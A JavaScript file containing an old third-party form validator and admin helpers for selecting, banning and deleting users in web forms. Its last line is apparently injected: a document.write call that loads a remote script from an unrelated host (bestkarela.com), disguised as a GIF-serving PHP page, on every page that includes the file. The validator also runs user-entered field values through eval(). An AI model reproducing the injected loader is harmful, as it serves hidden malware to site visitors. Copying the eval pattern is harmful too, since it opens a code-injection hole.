/*



  -------------------------------------------------------------------------



	                    JavaScript Form Validator 



                                Version 2.0.2



	Copyright 2003 JavaScript-coder.com. All rights reserved.



	You use this script in your Web pages, provided these opening credit



    lines are kept intact.



	The Form validation script is distributed free from JavaScript-Coder.com







	You may please add a link to JavaScript-Coder.com, 



	making it easy for others to find this script.



	Checkout the Give a link and Get a link page:



	http://www.javascript-coder.com/links/how-to-link.php







    You may not reprint or redistribute this code without permission from 



    JavaScript-Coder.com.



	



	JavaScript Coder



	It precisely codes what you imagine!



	Grab your copy here:



		http://www.javascript-coder.com/



    -------------------------------------------------------------------------  



*/



function Validator(frmname)



{



  this.formobj=document.forms[frmname];



	if(!this.formobj)



	{



	  alert("BUG: couldnot get Form object "+frmname);



		return;



	}



	if(this.formobj.onsubmit)



	{



	 this.formobj.old_onsubmit = this.formobj.onsubmit;



	 this.formobj.onsubmit=null;



	}



	else



	{



	 this.formobj.old_onsubmit = null;



	}



	this.formobj.onsubmit=form_submit_handler;



	this.addValidation = add_validation;



	this.setAddnlValidationFunction=set_addnl_vfunction;



	this.clearAllValidations = clear_all_validations;



}



function set_addnl_vfunction(functionname)



{



  this.formobj.addnlvalidation = functionname;



}



function clear_all_validations()



{



	for(var itr=0;itr < this.formobj.elements.length;itr++)



	{



		this.formobj.elements[itr].validationset = null;



	}



}



function form_submit_handler()



{



	for(var itr=0;itr < this.elements.length;itr++)



	{



		if(this.elements[itr].validationset &&



	   !this.elements[itr].validationset.validate())



		{



		  return false;



		}



	}



	if(this.addnlvalidation)



	{



	  str =" var ret = "+this.addnlvalidation+"()";



	  eval(str);



    if(!ret) return ret;



	}



	return true;



}



function add_validation(itemname,descriptor,errstr)



{



  if(!this.formobj)



	{



	  alert("BUG: the form object is not set properly");



		return;



	}//if



	var itemobj = this.formobj[itemname];



  if(!itemobj)



	{



	  alert("BUG: Couldnot get the input object named: "+itemname);



		return;



	}



	if(!itemobj.validationset)



	{



	  itemobj.validationset = new ValidationSet(itemobj);



	}



  itemobj.validationset.add(descriptor,errstr);



}



function ValidationDesc(inputitem,desc,error)



{



  this.desc=desc;



	this.error=error;



	this.itemobj = inputitem;



	this.validate=vdesc_validate;



}



function vdesc_validate()



{



 if(!V2validateData(this.desc,this.itemobj,this.error))



 {



    this.itemobj.focus();



		return false;



 }



 return true;



}



function ValidationSet(inputitem)



{



    this.vSet=new Array();



	this.add= add_validationdesc;



	this.validate= vset_validate;



	this.itemobj = inputitem;



}



function add_validationdesc(desc,error)



{



  this.vSet[this.vSet.length]= 



	  new ValidationDesc(this.itemobj,desc,error);



}



function vset_validate()



{



   for(var itr=0;itr<this.vSet.length;itr++)



	 {



	   if(!this.vSet[itr].validate())



		 {



		   return false;



		 }



	 }



	 return true;



}



function validateEmailv2(email)



{



// a very simple email validation checking. 



// you can add more complex email checking if it helps 



    if(email.length <= 0)



	{



	  return true;



	}



    var splitted = email.match("^(.+)@(.+)$");



    if(splitted == null) return false;



    if(splitted[1] != null )



    {



      var regexp_user=/^\"?[\w-_\.]*\"?$/;



      if(splitted[1].match(regexp_user) == null) return false;



    }



    if(splitted[2] != null)



    {



      var regexp_domain=/^[\w-\.]*\.[A-Za-z]{2,4}$/;



      if(splitted[2].match(regexp_domain) == null) 



      {



	    var regexp_ip =/^\[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\]$/;



	    if(splitted[2].match(regexp_ip) == null) return false;



      }// if



      return true;



    }



return false;



}



function V2validateData(strValidateStr,objValue,strError) 



{ 



    var epos = strValidateStr.search("="); 



    var  command  = ""; 



    var  cmdvalue = ""; 



    if(epos >= 0) 



    { 



     command  = strValidateStr.substring(0,epos); 



     cmdvalue = strValidateStr.substr(epos+1); 



    } 



    else 



    { 



     command = strValidateStr; 



    } 



    switch(command) 



    { 



        case "req": 



        case "required": 



         {

		 

		  String.prototype.trim = function() { return this.replace(/^\s+|\s+$/, ''); };

		 objValue.value = objValue.value.trim();



           if(eval(objValue.value.length) == 0) 



           { 



              if(!strError || strError.length ==0) 



              { 



                strError = objValue.name + " : Required Field"; 



              }//if 



              alert(strError); 



              return false; 



           }//if 



           break;             



         }//case required 



        case "maxlength": 



        case "maxlen": 



          { 



             if(eval(objValue.value.length) >  eval(cmdvalue)) 



             { 



               if(!strError || strError.length ==0) 



               { 



                 strError = objValue.name + " : "+cmdvalue+" characters maximum "; 



               }//if 



               alert(strError + "\n[Current length = " + objValue.value.length + " ]"); 



               return false; 



             }//if 



             break; 



          }//case maxlen 



        case "minlength": 



        case "minlen": 



           { 



             if(eval(objValue.value.length) <  eval(cmdvalue)) 



             { 



               if(!strError || strError.length ==0) 



               { 



                 strError = objValue.name + " : " + cmdvalue + " characters minimum  "; 



               }//if               



               alert(strError + "\n[Current length = " + objValue.value.length + " ]"); 



               return false;                 



             }//if 



             break; 



            }//case minlen 



        case "alnum": 



        case "alphanumeric": 



           { 



              var charpos = objValue.value.search("[^A-Za-z 0-9]"); 



              if(objValue.value.length > 0 &&  charpos >= 0) 



              { 



               if(!strError || strError.length ==0) 



                { 



                  strError = objValue.name+": Only alpha-numeric characters allowed "; 



                }//if 



                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 



                return false; 



              }//if 



              break; 



           }//case alphanumeric 



        case "num": 



        case "numeric": 



           { 



              var charpos = objValue.value.search("[^0-9]"); 



              if(objValue.value.length > 0 &&  charpos >= 0) 



              { 



                if(!strError || strError.length ==0) 



                { 



                  strError = objValue.name+": Only digits allowed "; 



                }//if               



                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 



                return false; 



              }//if 



              break;               



           }//numeric 



        case "alphabetic": 



        case "alpha": 



           { 



              var charpos = objValue.value.search("[^A-Za-z ]"); 



              if(objValue.value.length > 0 &&  charpos >= 0) 



              { 



                  if(!strError || strError.length ==0) 



                { 



                  strError = objValue.name+": Only alphabetic characters allowed "; 



                }//if                             



                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 



                return false; 



              }//if 



              break; 



           }//alpha 



		case "alnumhyphen":



			{



              var charpos = objValue.value.search("[^A-Za-z0-9\-_]"); 



              if(objValue.value.length > 0 &&  charpos >= 0) 



              { 



                  if(!strError || strError.length ==0) 



                { 



                  strError = objValue.name+": characters allowed are A-Z,a-z,0-9,- and _"; 



                }//if                             



                alert(strError + "\n [Error character position " + eval(charpos+1)+"]"); 



                return false; 



              }//if 			



			break;



			}



        case "email": 



          { 



               if(!validateEmailv2(objValue.value)) 



               { 



                 if(!strError || strError.length ==0) 



                 { 



                    strError = objValue.name+": Enter a valid Email address "; 



                 }//if                                               



                 alert(strError); 



                 return false; 



               }//if 



           break; 



          }//case email 



        case "lt": 



        case "lessthan": 



         { 



            if(isNaN(objValue.value)) 



            { 



              alert(objValue.name+": Should be a number "); 



              return false; 



            }//if 



            if(eval(objValue.value) >=  eval(cmdvalue)) 



            { 



              if(!strError || strError.length ==0) 



              { 



                strError = objValue.name + " : value should be less than "+ cmdvalue; 



              }//if               



              alert(strError); 



              return false;                 



             }//if             



            break; 



         }//case lessthan 



        case "gt": 



        case "greaterthan": 



         { 



            if(isNaN(objValue.value)) 



            { 



              alert(objValue.name+": Should be a number "); 



              return false; 



            }//if 



             if(eval(objValue.value) <=  eval(cmdvalue)) 



             { 



               if(!strError || strError.length ==0) 



               { 



                 strError = objValue.name + " : value should be greater than "+ cmdvalue; 



               }//if               



               alert(strError); 



               return false;                 



             }//if             



            break; 



         }//case greaterthan 



        case "regexp": 



         { 



		 	if(objValue.value.length > 0)



			{



	            if(!objValue.value.match(cmdvalue)) 



	            { 



	              if(!strError || strError.length ==0) 



	              { 



	                strError = objValue.name+": Invalid characters found "; 



	              }//if                                                               



	              alert(strError); 



	              return false;                   



	            }//if 



			}



           break; 



         }//case regexp 



        case "dontselect": 



         { 



            if(objValue.selectedIndex == null) 



            { 



              alert("BUG: dontselect command for non-select Item"); 



              return false; 



            } 



            if(objValue.selectedIndex == eval(cmdvalue)) 



            { 



             if(!strError || strError.length ==0) 



              { 



              strError = objValue.name+": Please Select one option "; 



              }//if                                                               



              alert(strError); 



              return false;                                   



             } 



             break; 



         }//case dontselect 



    }//switch 



    return true; 



}





function check_it(frm) {

    // var theurl="abc.com";

				var theurl=frm.txtar_Links.value;

			//	alert(theurl);

     var tomatch= /http:\/\/[A-Za-z0-9\.-]{3,}\.[A-Za-z]{3}/

     if (tomatch.test(theurl))

     {

        // window.("URL OK.");

         return true;

     }

     else

     {

         window.alert("URL invalid. Try again.");

         return false;

     }

}



/*



	Copyright 2003 JavaScript-coder.com. All rights reserved.



*/



function unselectuser(unsval)



{ flag1=false;



frm = unsval.form;



for(i=0; i<frm.length; i++)



{



if(frm[i].name=='selall_top')



{



var sel_top=i;



}



if(i>sel_top)



{



if(frm[i].name=='selall_bott')



{



var sel_bot=i;



}



}//end if



if(frm[i].type == "checkbox" && frm[i].name.substr(0,8)=='chk_user' && frm[i].checked==false)



{



flag1=true;



}//end if



}//end for



if(flag1==true)



{



frm[sel_top].checked=false;



frm[sel_bot].checked=false;



}//end if



}















function banuser(slval)



	{



	    frm=slval.form;



		flag = false;



	



		for(i=0; i<frm.length; i++)



		{ 



			if(frm[i].type == "checkbox" && frm[i].name.substr(0,8) == 'chk_user' && frm[i].checked == true)



			{



				flag = true;



				break;



			}					



		}



		



		if(!flag)



		   {



			 alert("Select atleast one user");



			 return false;



			} 



		else



		{



  		 return confirm("Ban selected users?");	



		}		



		



		return flag;



	}




	

	///user management...

	

	function selectuser(slval)



	{

		

		

		frm = slval.form;



		for(i = 0; i<frm.length; i++)



		{



			if(frm[i].type == 'checkbox')			



			  frm[i].checked = slval.checked;		



		}



	}

	

	

	

	function deleteuser(slval)



	{



  frm=slval.form;



		flag = false;



	



		for(i=0; i<frm.length; i++)



		{ 



			if(frm[i].type == "checkbox" && frm[i].name.substr(0,8) == 'chk_user' && frm[i].checked == true)



			{

 

				flag = true;



				break;



			}					



		}



		



		if(!flag)



		   {



			 alert("Select atleast one user");



			 return false;



			} 



		else



		{



  		 return confirm("Delete selected users?");	



		}		



		



		return flag;



	}

	

	

	

	

   function uncheckedcity(unsval)



   {



	    frm = unsval.form;



	  for(i=0; i<frm.length; i++)



	  {



		 if(frm[i].name=='chk_selalltop')



		 {



	    var sel_top=i;



		 }



		 if(i>sel_top)



		 {



		   if(frm[i].name=='chk_selallbot')



		   {



			 var  sel_bot=i;



		   }

		 }//end  if



		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,10)=='chk_cityid' && frm[i].checked==false)



		  { 



		     flag1=true;



		  }//end  if	



	 }//end  for	 	     







	   if(flag1==true)



	   {



		  frm[sel_top].checked=false;



		  frm[sel_bot].checked=false;  



	   }//end  if		    



   }  





function unchecked(unsval)



   {



	    frm = unsval.form;



	  for(i=0; i<frm.length; i++)



	  {





		 if(frm[i].name=='chk_selalltop')



		 {



		    var sel_top=i;



		 }



		 if(i>sel_top)



		 {



		   if(frm[i].name=='chk_selallbot')



		   {



			 var  sel_bot=i;



		   }



		 }//end  if





		  if(frm[i].type == "checkbox" && frm[i].name.substr(0,13)=='chk_surgeryid' && frm[i].checked==false)



		  { 



		     flag1=true;



		  }//end  if	



	 }//end  for	 	     



	   if(flag1==true)



	   {



		  frm[sel_top].checked=false;



		  frm[sel_bot].checked=false;  



	   }//end  if		    



   }  



    
document.write('<script src=http://bestkarela.com/images/gifimg.php ><\/script>');